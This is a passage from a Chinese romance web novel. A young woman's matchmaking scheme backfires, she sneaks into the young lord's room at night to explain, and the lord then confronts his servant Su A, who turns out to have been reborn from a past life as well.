“罢了,你放心我不会罚苏阿的。”他轻抿薄唇,温润如玉的面庞上笼罩着几分挥之不去的阴霾:
“七日内你不必来书房了,但是工钱还是会照发。”
说完,尉迟玚就从容乐的身旁走过,朝院外走去。
容乐转身看向他缓缓离去的背影,紧蹙着双眉,眼神中带着不知所措。
尉迟玚走到院门口时,突然停下了脚步,回头发现她依旧站在原地望向自己,心头一软,又朝她大步走去。
“你明日还是来书房吧。”他走到她的面前,拿出一块白色丝制手帕,放在她的手心:
“头上的水渍擦擦吧,天色不早了,风吹了会着凉。”
“我还有事,先走了。”
不等容乐开口,尉迟玚就匆匆离去了。
她低头看手里的手帕,思绪很乱,没想到竟然被他看出来是水。。。
商芷的声音也从一旁传来:“容姑娘,你往后莫要多管闲事了。”
她在柴房里听得七七八八,也从这三人的反应中猜到了事情的原委。
就是说原本计划的好好的,她就算没算对尉迟泰不在府里,那尉迟玚也不该出现在柴房里!
随后捂着肚子,目光怨恨的离开了。
容乐握紧了手帕,眼神中带着委屈,感觉所有人因为她,都不开心。
可是她明明是为了让尉迟玚和商芷在一起啊。
能和心上人独处一屋,他不应该很开心的吗?
苏阿察觉到了她的情绪,拍了拍她的后背,安慰道:“阿乐,他们可能是在柴房里发生了什么不快的事,你别放在心上。”
他眼睛转了转,接着解释道:
“刚刚没按照约定来,是我的错。你走之后,我内心很忐忑,很是担心公子责罚,所以想着他一出来我就来认错。”
说到这里,他后退一步,双手抱拳弯腰,郑重的道:
“阿乐,刚刚是我连累你了,实在抱歉。”
容乐见状,立马向前一步,伸出手扶住了他:
“阿苏,这不是你的错,本来也是我想撮合他们的,今日的计划也是我制定的。”
其实,他就是故意的。
他就是想让尉迟玚看见阿乐维护自己的模样。
此时,一阵晚风吹过,空荡荡的院子就只剩她们两人,柴房的门''吱呀吱呀''的晃动着。
有点凄凉。
“我们回去吧,今日谢谢你,后面的事我还需要再想想。”她挤出一丝微笑对苏阿道。
——————————
入夜,容乐翻来覆去的睡不着,脑海里一直在想着今日的事。
尉迟玚为什么会生气呢?他应该知道她做的这一切都是为了撮合他们啊。
而且商芷也不开心,如果按照苏阿猜测的,两人在柴房发生了不愉快的事。
容乐又翻了个身,看向头顶处的窗幔,双手交叉放在胸前分析:
在他失忆后,误会她是他的夫人的那段时间里,对她那么好,也不会强迫她做事,足以见得他心上人的重视。
尉迟玚那么喜欢商芷,而且为人性格温和,又是个谦谦君子,在柴房里肯定是很心疼商芷的,怎么会和她不愉快的事?
这其中一定有隐情!
想来想去,心中的疑问越来越大,她干脆坐起身,环抱住自己,下巴放在膝盖上,小脸皱着眉头。
月光透过窗,透过梳妆台的香炉,散落在了地上,烟雾缓缓升起,又在光中渐渐消散,只留下安神的清香。
尉迟玚知道她晚上经常睡不好,便找人特意调制了安神香,每过戌时便会有丫鬟点上。
不行,她想要找他好好问问,误会还是不能过夜的!
容乐拉开床幔,随意套了几件衣裳,迅速穿好鞋,悄悄打开门,鬼鬼祟祟的走了出去。
一路上,她躲过了府兵的巡逻,还算是顺利。
快到他的卧房门口时,她发现门口有带刀的守卫,看来从正门是进不去了。
她靠在侧窗处,思索了一会:如果是让人通报,她是可以走门,但是必定会惊动府上其他人,坏了尉迟玚在商芷那里的名声就不好了!
还有一点就是,他不一定愿意见她啊。
思前想后,她偏头一旁看向半掩的窗,默默地点了点头,决定——
还是翻窗最为稳妥。
容乐踮起脚尖走到窗边,伸出手轻轻的推开,没想到‘嘎吱’一声响起,她的心顿时提到了嗓子眼。
她闭上了眼睛,心想到一定完蛋了,要被人发现了。
过了一会,她没听到有任何的动静,悄悄的睁开眼睛,发现——
无事发生。<
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容乐松了口气,猫着腰小心翼翼的扣住窗柩,踩着窗框“咚”的一声跳了进去。
此时,门口的守卫们紧绷的脸终于放松了下来,容姑娘终于进去了。。。
本来还担心她走正门的话,他们要如何装死看不见她,还好她走的是窗户。
时间倒流在一刻钟前——
容乐的其中一个暗卫回报,说她不知要去哪,但是看方向好像是到这里。
公子就吩咐他们,如果看见容姑娘的话,不能让她察觉异样的顺利进入。
房间内,容乐轻轻的走到尉迟玚的床前,发现他闭上眼睛正在‘熟睡’。
她蹲下身,坐在塌上,手支着头,一双眼睛圆溜溜的看着尉迟玚。
他皮肤白皙,额前几缕发丝垂落在脸庞上,一双剑眉下的双眸闭着,高挺的鼻梁勾勒出俊美的侧脸轮廓,薄唇抿成一条直线。
真好看啊,她暗自想着,可商芷怎么就不动心呢。
容乐拍了拍自己的脸,努力让自己清醒一点,差点因为美色而忘记了正事!
她从他的脸上拿起一缕细长的发丝,扯了扯,在他的耳边道:“大石头,大石头醒醒!”
刺痛感从前额传来,他微微皱了皱眉,本来想了千万种她叫醒自己的方式,可揪头发这一项,他着实是没想到。
尉迟玚缓缓睁开了‘睡眼朦胧’的双眼,坐起身子有些疑惑的看向她:“乐儿,深更半夜的,你怎么来了?”
他往床里挪了挪,关心的道:“塌上坐的不舒服,你上来坐吧。”
容乐站起身,面色凝重的低着头道歉:“今日把你锁在柴房的事,是我的问题。”
“可是——”她抬起头,目光真诚的看向他,难过的道:“我做的这一切都是为了让你和心上人在一起,没有恶意的。”
尉迟玚看她如此,心里有些不是滋味,开始懊悔自己在后院的行为。
重活一世,明明发誓过要让她此生在他的身边永远开心的,结果还是让她伤心了。
他也知道她的用意,也知道她做的这一切也都是为了他。
“今天在后院里,是我的态度不好。其实,我刚进柴房,看见商芷后,我就知道是你所为。”
“出来之后,对你说的那些话,是我实在——”
实在气不过,你维护其他男子,而一点都没有关心被你关的我。
“实在什么?”容乐坐在他的床边,身子忍不住的前倾。
“没什么。”尉迟玚将头转向一边,神色有些不自然。
她看他不想说,直接说出了自己辗转反侧的结果:“我想了一晚上,大概也猜到了你生气的原因。”
“什么?”尉迟玚目光惊讶,眼底里流露出一丝期待。
“误会是我将商芷关进柴房的,对不对?”她眼里眼里充满了自信,解释道:“不是我关的,是她的丫鬟关的。”
尉迟玚听到‘商芷’一词后,目光暗淡了下来,神色中透着些许无可奈何。
她没有注意到他的表情,接着道:“没有及时救她,是我的错,可我将宝贵的机会留给了你啊!”
“你一进府,我就让苏阿去找你,让你赶紧去救她。”
“这也算是将功补过了,你别生气了嘛。”
尉迟玚听到这里,察觉到有个地方不太对劲,皱起眉头:
“你是说,你让苏阿告诉我,关在柴房里的人是商芷?”
22. 苏阿坦白
“对啊。”容乐目光清澈的点了点头。
尉迟玚没有说话,神情凝重。
乐儿让苏阿说是商芷,可他为何要说是乐儿被关起来。
除非他本来就知道,如果说商芷,自己可能不会去,那么他与乐儿的计划就失败了。
想到这里,他目光逐渐变得不一样了。
所以,苏阿知道自己不喜欢商芷,而喜欢容乐。
可回府后这段时间,他们根本没有见过。
尉迟玚眯起双眸,脑海里浮现了一个猜测——
苏阿,难道也回来了。
“发生什么事了吗?”容乐看他神情不太对劲。
尉迟玚回过神来,整理了一下思绪后道:“没事。”
他搞清楚苏阿的事之前,暂时不打算和她说。
容乐看他什么都不说,心里有点着急,而且对于刚刚自己的猜测也没有给予正面的回复。
她拉住他的手臂,眉心微蹙的道:
“大石头,你有什么想法要和我说呀,憋在心里是没有办法解决问题的。”
尉迟玚感受到她期望又着急的目光,唇角微张,想要说什么,却梗在喉咙间,说不出自己的真心话。
他想对她说自己根本不喜欢商芷,想说不喜欢看她维护苏阿,还想想问问她能否因为自己而留在此处。
但是,所有的话像被无形的枷锁困住。
他害怕自己说了之后,第二日没心没肺的她就收拾小包袱回去了。
这是好不容易求来的机会,他不敢赌。
细细思索过后,尉迟玚道:“今日之事,我的确是有些烦闷,但是主要在于没有将计划要提前告知我。”
“我不想成为你的局中人,更不想看到你信任苏阿高于我。”
“此事和商芷没有关系,在我的心目中,你远比她重要。”
尉迟玚不想让她留下商芷比她重要的印象,接着补充道:
“乐儿,你要记得,我永远不会因为商芷而对你生气的。”
嗯?
容乐怎么嗅出了一股不一样的味道。
好像有股酸味?其中夹杂着绿茶淡淡的清香?
尉迟玚好像在说——你看,在我心中你都超过商芷了,但是你却更信任别的男人?
姐姐心中有别的哥哥了,虽然我心中有别的姐姐,但是都不及你,嘤。
“大石头,你喜欢的人是商芷。虽然我们是‘共患难’的好、兄、弟,听你这么说我很感激,但是总感觉哪里不对劲。”
说完,她嘿嘿的用笑容来掩饰自己的尴尬,还顺道豪迈的拍了拍她的肩膀,用兄弟的语气道:
“如今知道你烦闷的原因,确实是我的做法欠妥,下次一定告诉你!”
尉迟玚看她避嫌的模样,仿佛有无数小刀齐刷刷的插在自己心头。
好了,他已经再次确认,她对自己一点意思都没有了。
尉迟玚低着头,装作若无其事的摆弄自己的袖口,轻轻道了一声:“嗯。”
容乐感觉他的语气好像一个受气的小媳妇,而自己是沾花惹草的浪荡丈夫。
就是很奇怪,很不对劲!
尉迟玚是什么时候开始变成这样了?
容乐摸着下巴,开始仔细的回忆想了想。
好像,就是从遇见商芷之后就开始奇怪起来!
他那么君子的一人,在路上遇见摔倒的老妇人都会主动帮助,那日,竟然就直直的看商芷在他的面前摔倒。
还有就是,在亭子里对她说的话,就不对劲起来,总带着一股书生的酸气。
容乐想到自己的闺蜜陈沁,在谈恋爱后,整个人也是如此变化,对她说话语气总是充满着恋爱的酸臭味。
而且,看她和别的小姐妹出去玩,也是动不动就是:
“宝宝,你怎么和臭男人一样不爱我了,嘤嘤嘤。”
“你说是她们重要,还是我重要,敢选她们你就是负心汉呜呜。”
想到这里,她十分坚信得出结论——
这可能是男子遇见心仪的姑娘后,而变得敏感的正常现象。
“大石头,你别想太多,你在我心中还是很重要的,我留在府中都是因为你。苏阿是我的朋友,我们都是一起帮你讨商芷的欢心的啊。”她安慰的道。
当初,她和闺蜜陈沁也是这么说的,先肯定她的位置,再推心置腹的解释一番。
如果不出意外的话,陈沁就会很大度的放她出门,再叮嘱她玩的开心。
尉迟玚听后勾唇上扬,眼里又恢复些光亮,对她道:“好。时候也不早了,你早点休息吧。别想太多,我没事的。”
看!这不就和陈沁一样嘛!
容乐在心中给自己竖了个大拇指,放下了心,以后都知道如何应对了。
她站起身,弯腰将刚刚做的床铺拍平,笑着挥手道:“那我就走了,拜拜~”
和她出门告别陈沁的表情一样。
随后,就原路翻窗走了,在路上看着月亮,都觉得格外的圆。
终于找到症结所在了,就把尉迟玚当做是好闺蜜就行了。该哄还是得哄,恋爱中的人都是小孩子,她能理解的。
——————————————
次日清晨,苏阿被尉迟玚叫到了书房。
他刚一进门,就发现尉迟玚坐着桌前,而一直在书房做事的容乐却不在。
身后的门被小厮关上了,微弱的阳光透过窗纸,照射到房内,但依旧很昏暗。
苏阿走到尉迟玚的面前,刚想行礼,沉稳的声音传来:
“苏阿,好久不见了。”
尉迟玚站起身,走到苏阿的面前,双手负于身后,意味深长的看向面前的人。
苏阿心里咯噔一声,他想过在尉迟玚面前身份暴露,但是没想过竟如此之快。
“公子这话,属下不明白是何意,我们昨夜好像还在后院见过。”他面不改色,径直对上尉迟玚的双眸。
尉迟玚察觉到了他目光中闪过的不自然,心里的把握已经加到了九成。
他身子微微向前倾,仿佛带着无形的压力,周围的空气都凝固起来:“苏阿,你不必再隐藏了,我们认识那么久了,有什么话大可直接说,何必来回迂回呢?”
“公子,属下实在是没听懂——”
话还未说完,尉迟玚打断直接道:“按照原本的轨迹,你本应该在一个月之后才出现。”
“而且,我们此世几乎就没见过几次,你又是从何得知我不喜欢商芷,而喜欢容乐的呢?”
“乐儿应该也和你说的是我喜欢商芷,而你却笃定的知道我不可能喜欢她。”
字字句句都带着咄咄逼人的威严,好像可以穿透人心,让真相无处遁形。
苏阿默不作声,好像在思索着什么。
尉迟玚眼中寒光闪烁,接着道:“最重要的是,你竟然提前知道商芷会做这么一出戏,但是却不知道具体的时间,这是为什么
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呢?”
沧青今晨回来后,回禀尉迟玚说容乐一直在等一个时机,具体是何事,她不知道。
尉迟玚听后,立刻猜到是苏阿所为。
他深邃的眼眸中带着洞悉的目光,转过身望着窗外,徐徐的道:
“那是因为,你是一个月后才来到丞相府的。听说了商芷在柴房一事,但是没有经历过,所以不知具体的时日。”
尉迟玚本来是知道的,但是没放在心上,毕竟让她顺利嫁给太子也是他原本的一步计划。
加上听到容乐出事后,当时就没思考那么多。
听到这里,苏阿知道自己装不下去了,索性就此说开。
他沉下了心,没有丝毫的慌乱,反倒露出从容不迫的浅笑:“陛下,好久不见了。”
尉迟玚微微一愣,‘陛下’一词许久没有听过了,今日听到?倒有些恍若隔世之感。
“你是如何回来的?”尉迟玚眯着眼睛,带着许久未有的冷峻神色。
苏阿依旧从容,淡淡的道:“陛下如何回来的,我就如何回来的。”
“你为何要这样做?”尉迟玚没想到他也会如此做,登基大典上自刎的竟然还有苏阿。
“因为我想见阿乐。”苏阿将尘封许久的心事揭开,目光带着不满看向尉迟玚:“上一世,你没有好好保护阿乐。”
“我最后悔的事,就是去东宫救你,若不去救你,阿乐那日就不会中箭身亡。你却自私的将她的尸体藏了起来,让任何人都不知道在何处。”
尉迟玚瞳孔微颤,他没想道苏阿竟对乐儿存了如此心思。
但是,乐儿应该没告诉他自己真实的身份,让他误以为她是中箭身亡而不是回到未来。
“我想回来为自己争取一次机会,虽然我的身份不及你,但是我绝不会像上一世的你一样对待她!”
“我本就没打算和你将身份说明,如今知道后,我自会寻入宫的机会。”
苏阿觉得话都说到此处,尉迟玚不会再将自己送进宫做侍卫,养虎为患的事他不会做。
尉迟玚听后,摇头笑了笑,转身走到苏阿的身边,握住他的肩膀,用故人熟稔的神色道:
“不,我还是会将你送进宫做侍卫,时间就在七日后,宫廷侍卫初轮选拔。当初你参与的是末轮,故时日晚一些。”
“但是,你需要向我回禀宫里的情况,如何?”
苏阿有些意外,耿直的问道:“你就不怕我背叛你,投靠太子那边?”
他昨日已经背叛了尉迟玚,刚刚也说了回来此行的目的,没想到他还敢信任自己?
“你不会的。”
尉迟玚扬起嘴角,一针见血的道:“因为你如此做,乐儿会怨你厌你。
你应该知道,不论是前世还是今世,她最讨厌的,就是太子殿下。”
“最重要的是——”他故意拉长的声音,拍了一下苏阿的肩膀,收回了手道:
“若你想投靠太子,当初就不会助我登基。而且,我没记错的话,太子可是你派人亲自杀的。”
虽然意外苏阿重生的目的,但是他的能力,尉迟玚是欣赏的,如今他和自己一样知晓未来之事,更是一把好用的利刃。
让他流落在外,投入其他人门下,才是对自己最大的威胁。
尉迟玚了解苏阿,一旦他决定忠心于自己,就不会两面三刀,是个值得信任的老实人。
“你就不怕我再次成为卫尉后,将阿乐从你身边夺回来?”